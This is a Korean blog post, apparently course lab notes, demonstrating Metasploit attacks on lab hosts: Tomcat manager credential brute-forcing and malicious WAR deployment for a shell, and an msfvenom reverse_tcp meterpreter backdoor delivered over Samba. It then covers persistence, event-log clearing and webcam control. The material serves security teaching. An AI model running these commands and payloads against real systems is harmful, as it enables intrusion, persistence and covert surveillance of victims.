메타스플로잇(Metasploit)
취약점 진단 통합 프레임워크
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인
목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알립니다.
[실습] 칼리 리눅스 사용하기 3
취약점 발견 및 공격 (Tomcat 취약점)
메타스플로잇을 사용하여 톰캣의 취약점을 공격해 보자.
Tomcat V5 관리자 페이지에서 기본으로 사용되는 몇가지 취약한 계정의 정보를 대입해 알아보는 tomcat_mgr_login 스캔 도구를 사용해 보자.
톰캣 이란?(Tomcat)
아파치 소프트웨어 파운데이션(Apache Software Foundation)에서 서버인 자바(Java)를 움직이게 하기 위해 개발한 AP서버.
(Kali Linux)
① 타겟 시스템의 포트/서비스/버전을 확인
# nmap -sV -p 1-65535 192.168.10.134 metasploitable V2 Linux ip : 192.168.10.134
http 서비스가 2개 있다. 8180포트 부터 살펴보자.
② 기본 홈페이지(tomcat)에 접근
# firefox http://192.168.10.134:8180/
-> Apache Tomcat/5.5 버전이 설치 되어 있다.(기본 페이지의 왼쪽 상단 부분에 대한 정보 확인)
-> if 기본 설정만 되어 있다면 관리자 페이지에 접근이 가능하다.
# firefox http://192.168.10.134:8180/manager/html
-> 관리자 페이지의 아이디/패스워드 물어 보는 화면이 나올것이다.
-> 확인만 하고 접속을 해제 한다.
msconsole을 실행하기전 꼭 확인해야할 postgresql 서비스
# service postgresql start(가동)
# service postgresql status(확인)
search tomcat 명령으로 해당 목록을 출력한다.
auxiliary/scanner/http/tomcat_mgr_login 을 사용한다.
> use auxiliary/scanner/http/tomcat_mgr_login
> show options 결과
RHOSTS 와 RPORT를 수정한다.(소문자로 써도 가능하다. 대소문자 구별없이 모두 소문자로 인식한다.)
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.10.134 <=s가 유무확인이 중요하다
rhosts => 192.168.10.134 show options로 확인
msf auxiliary(tomcat_mgr_login) > set rport 8180
rport => 8180
msf auxiliary(tomcat_mgr_login) > exploit (run)
exploit 결과
[+] 192.168.31.134:8180 - LOGIN SUCCESSFUL: tomcat: tomcat 을 확인할 수 있다.
-> [+] 되어 있으면 성공한 것이다.
-> [+] 되어 있으면 성공한 것이다.
⑤ 관리자 페이지로 접속
# firefox http://192.168.10.134:8180/manager/html
-> 아이디 : tomcat
-> 패스워드 : tomcat
-> 접속후 하단에 war 파일을 업로드 할 수 있는 기능을 확인
=> WAR파일은 실행이 가능한 권한을 갖고있다. 실행할 수 있는 포맷
=> Apache5.5 버전은 파일업로드 취약점을 갖고 있다.
Select WAR file to upload [Browser] No file selected.
[Deploy]
--------------------------------------------------------------------------------
-> Tomcat를 기본 설치를 하면 '파일 업로드 취약점'이 생긴다.
-> 이 취약점을 통해 악성코드가 포함된 war 파일을 이용해 시스템에 침투할 수 있다.
⑥ 메타스플로잇의 자동 악성 코드 업로드 공격 사용
# msfconsole
msf auxiliary(tomcat_mgr_login) > search tomcat <= tomcat을 공격할 수 있는 것 검색 ..... (중략) ..... auxiliary/scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility exploit/multi/http/struts_default_action_mapper 2013-07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution exploit/multi/http/struts_dev_mode 2012-01-06 excellent Apache Struts 2 Developer Mode OGNL Execution exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Apache Tomcat Manager Authenticated Upload Code Execution post/windows/gather/enum_tomcat normal Windows Gather Apache Tomcat Enumeration
msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy sf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
msf exploit(tomcat_mgr_deploy) > set httppassword tomcat password => tomcat msf exploit(tomcat_mgr_deploy) > set rhost 192.168.10.134 rhost => 192.168.10.134 msf exploit(tomcat_mgr_deploy) > set rport 8180 rport => 8180 msf exploit(tomcat_mgr_deploy) > set username tomcat username => tomcat msf exploit(tomcat_mgr_deploy) > show payloads
[!] bind.tcp 와 reverse.tcp 차이점
bind_tcp Attacker(공인IP) Victim(사설IP,listen대기상태) reverse_tcp 공격자(사설IP,listen대기상태) 피해자(공인IP,사용자)
msf exploit(tomcat_mgr_deploy) > set payload java/shell/bind_tcp <=tcp연결을 bind해주는 것 payload => java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > exploit (> run)
[*] Started bind handler [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6456 bytes as TZbEqMlwvWhjXx2vZyMI2tdANFMx.war ... [*] Executing /TZbEqMlwvWhjXx2vZyMI2tdANFMx/FDDKrkqE4OadJgJF4h6N.jsp... [*] Undeploying TZbEqMlwvWhjXx2vZyMI2tdANFMx ... [*] Sending stage (2976 bytes) to 192.168.10.134 [*] Command shell session 1 opened (192.168.10.50:33731 -> 192.168.10.134:4444) at 2014-07-18 14:09:52 +0900 => 상대편이 나에게 TCP연결되서 세션이 연결된다.
-> 따라서, 오픈소스 WAS로 운영중인 시스템은 정기적으로 공개되는 취약점에 대한 관심을 가져야 한다. -> 여러가지 CMD를 수행해 본다.
|
[실습] 타겟 시스템을 선정한다.
[실습] 정보를 모은다.
[실습] 취약점이 있는지 확인한다.
[실습] 공격의 여지가 있는지 봐서 필요하다면 공격한다.
[실습] 공격 성공이 되었다면 문서화 한다.
메터프리터(Meterpreter)
루비(Ruby) 기반의 스크립트를 통해 취약점을 이용하여 대상 시스템에 침투한 후 간단한 명령어를 이용해 시스템의 정보를 획득할 수 있는 기능이다.메타스플로잇에서 지원하는 라이브러리를 이용하기 때문에 어떤 방법을 이용해서 정보를 획득할 것인지에 대한 아이디어만 있다면 좋은 기능을 개발할 수 있다. (전제조건) 메터프리터는 대상 서버에 침투가 이루어졌다는 가정하에 수행되는 것이기 때문에 여로가지 방법 (EX: 톰캣 취약점)이 선행적으로 수행해야 한다. 리소스(Resource) 파일로 시스템 침투 환경 만들기 취약점을 통해 침투를 통해 환경 만들기 취약점을 통해 침투한 후 백도어(Backdoor, 악성코드)를 통해 환경 만들기 수업에서는 시스템 침투 환경을 만들기 위해 백도어를 이용하여 테스트 환경을 만드는 실습을 진행한다. [실습 단계] 스캔 -> 공격타겟 선정 -> 백도어 구성 -> 공격코드 파일생성 -> 공겨 타겟에 공격 코드 파일 유입 실시 -> 백도어 실행 -> 공격코드 파일실행 -> 제어권 획득 ■ 실습 시스템 - KaliLinux - Windows 7 - 메타스플로잇 자체적으로도 할수 있는 테스트이지만, exploit 공격 코드를 직접 제작하여 테스트한다. - 또한, 백도어를 생성하고, 공격 코드(악성코드)를 유입시켜 타겟 시스템이 공격자에게 연결되도록 테스트한다. ① 백도어 만들기 (Kali Linux) # ifconfig | grep inet => IP확인
inet addr:192.168.10.50 Bcast:192.168.10.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe13:974a/64 Scope:Link inet addr:192.168.20.50 Bcast:192.168.20.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe13:9754/64 Scope:Link inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host
# mkdir -p /root/bin
# cd /root/bin
# vi reverse_resource.rc
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.20.50 set ExitSession false exploit -j -z |
-> LHOST 부분에는 자신의 IP를 입력한다.
=> 두개의 프로그램이 필요하다
하나는 칼리리눅스서버에서 필요 (Listen상태로 있다)
또 하나는 윈도우7에 사용하는 프로그램 -> 이것이 실행되면 거꾸로 리버스로 연결된다.
칼리리눅스에서 msfconsole을 사용하는데 커맨드 칠 것을 위에 미리 쳐논 것이다.
PAYLOAD, LHOST, Background로 돌릴 것이다 등을 resource.rc에 적어둠.
=> reverse_tcp방법 사용
reverse_tcp란?
② 페이로드(Payload)를 사용하여 공격 코드 자동 생성
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.50 LPORT=4444 -f exe -o reverse_test.exe
# msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.20.50 LPORT=4444 \
-f exe \
-o reverse_test.exe
-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.
-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한 것과 동일한 환경이 된다.
=> msfvenom \
-p wiindows/meterpreter/reverse_tcp \ =>Payload to use. Specify a '-' or stdin to use custom payloads
-v LHOST=192.168.20.50 \ => Specify a custom variable name to use for certain output formats
-f exe \ => Output format (use --help-formats for a list)
-o reverse_test.exe \ => Save the payload
# ls
reverse_resource.rc reverse_test.exe |
reverse_resource.rc (KaliLinux) msfconsole CMD
reverse_test.exe (Windows 7) Backdoor
# file *
reverse_resource.rc: ASCII text reverse_test.exe: PE32+ executable (GUI) x86-64, for MS Windows |
③ 대상 시스템(windows7)에 reverse_test.exe 파일을 복사 (공격 코드 파일 유입)
(가정) 여러가지 방법을 통해 reverse_test.exe 파일을 대상 PC(windows7)에 복사했다고 가정한다.
-테스트 환경에서는 Win7에서 Kali Linux으로부터 'reverce.exe'파일을 공유받도록 한다.
■ SAMBA(http://www.samba.org)
Windows : CIFS/SMB
Linux/Unix : NFS
(KaliLinux) samba 서버를 통해 /share 디렉토리를 공유한다.
(windows 7) 공유 디렉토리에 접속한다.(\\192.168.20.50)
(KaliLinux)
# mkdir /share
# chmod 777 /share
# cp reverse_test.exe /share
# vi /etc/samba/smb.conf <= SAMBA서버 주설정 파일에 추가한다.
..... (중략) ..... # Windows clients look for this share name as a source of downloadable # printer drivers [print$] comment = Printer Drivers path = /var/lib/samba/printers browseable = yes read only = yes guest ok = no # Uncomment to allow remote administration of Windows print drivers. # You may need to replace 'lpadmin' with the name of the group your # admin users are members of. # Please note that you also need to set appropriate Unix permissions # to the drivers directory for these users to have write rights in it ; write list = root, @lpadmin
[share] <= 외부단에서 보는 폴더 comment = Kali Linux Shared Directory path = /share <= 내부에서 보는 폴더 browseable = yes read only = no writable = yes public = yes |
-> 문서의 가장 하단에 새로운 내용을 입력한다.
# service 라고 쳐보면 명령어 사용법이 나온다. # service --status-all
# service smbd restart (# service smbd start)
[ ok ] Stopping Samba daemons: nmbd smbd. [ ok ] Starting Samba daemons: nmbd smbd. |
# service smbd status
nmbd daemon : NetBIOS 지원
smbd daemon : SMB 지원
# smbclient -L localhost -N
(windows7)
공유 디렉토리에 접속하여 파일을 로컬로 복사한다.
\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사
(KaliLinux)
# cd /root/bin
# msfconsole -r reverse_resource.rc
-> window7 에서 reverse_test.exe 파일이 실행될때 까지 기다린다.
(windows7)
reverse_test.exe 프로그램을 실행한다.
(KaliLinux)
KaliLinux에서 메세지 확인
sessions (sessions -l)
Win7 세션에 연결 되었다.
sessions -i 1 1 세션번호
[*] Starting interaction with 1...
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session. transport Change the current transport mechanism use Deprecated alias for 'load' uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands 사용할수 있는 커맨드 ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes |
meterpreter > sysinfo <= 접속된 정보
meterpreter > ls <= 바탕화면 목록
Win7모습 아래는 Kali Linux에서 확인하는 모습
meterpreter > download download 명령어 사용법 확인
Usage: download [options] src1 src2 src3 ... destination
OPTIONS
-h Help banner.
-r Download recursively.
-> 업로드한 프로그램 윈도우즈에서 확인한다.
-> 시작 > 모든 프로그램 > 시작 프로그램에 reverse_test.exe 파일이 들어있는 것을 확인
meterpreter> reboot
Rebooting...
meterpreter >
[*] 192.168.20.202 - Meterpreter session 1 closed. Reason: Died
실제 Win7이 강제로 재부팅 된다. 이후 재부팅 될 때마다 reverce.exe 파일이 자동으로 실행되기 때문에
상당히 위험한 상태이며 공격자가 listen상태일때 언제든지 session하여 win7을 통제 할 수 있다.
AppData 폴더의 경우 Win7 폴더에서 숨김폴더 상태로 되어 있는 보안적인 폴더이다.
# msfconsole -r reverse_resource.rc
-> 만약 대상 PC(windows7) 먼저 부팅한 상태라면 강제적으로 windows7를 재부팅한다.
(windows 7) soldesk 사용자로 로그인한다.
로그인 할 때 악성 프로그램이 실행 될것이다.
이처럼 많은 자료들을 전부 노출되게 된다.
물론 위 사진은 한글깨짐 현상이 생겼지만 충분히 해결할 수 있는 문제이디ㅏ.
그외 여러가지 작업시나리오를 만들어서 작업한다.
- 여러가지 CMD 수행해 본다.
[실습] 작업시나리오를 만들어서 작업한다.
-> security, system, applicationk, directory service, dns server, file replication service 등 -> 여러가지에 대해서도 로그를 지우는 작업에 대해서 테스트 한다.
-> (주의) 권한이 되지 않아서 못 지울수도 있다. 그럼 일부 테스트는 넘기고 다른 테스트를 한다.
[실습] 웹캠제어
-> 노트북에 장착이 되어 있는 웹캠 디바이스를 칼리 리눅스에서 제어해 보자.
-> 사용하는 명령어는 다음과 같다.
webcam_list 설치돼 있는 웹캠의 정보를 가져온다.
webcam_start 목록에서 도출된 웹캠을 선택해서 시작한다.
webcam_get_frame 사진의 프레임 값을 정한다. 화질을 지정할 때 사용한다.
webcam_stop 웹캠의 실행을 중지한다.
webcat_audio_record 웹캠 마이크를 사용해 녹음을 지원한다.
-> 다른 장치(기기)에 대해서도 위험성에 대해 논의한다.
- 스마트 TV(티비싱)
- 핸드폰
- 건물내 감시카메라
'Learning > └◆Security Section' 카테고리의 다른 글
[메타스플로잇]Metasploit_BeEF (0) | 2016.12.10 |
---|---|
[메타스플로잇]Metasploit_SE toolkit (0) | 2016.12.10 |
[메타스플로잇]Metasploit_MySQL, tikiwiki (0) | 2016.12.09 |
[정보수집]구글링 (0) | 2016.12.08 |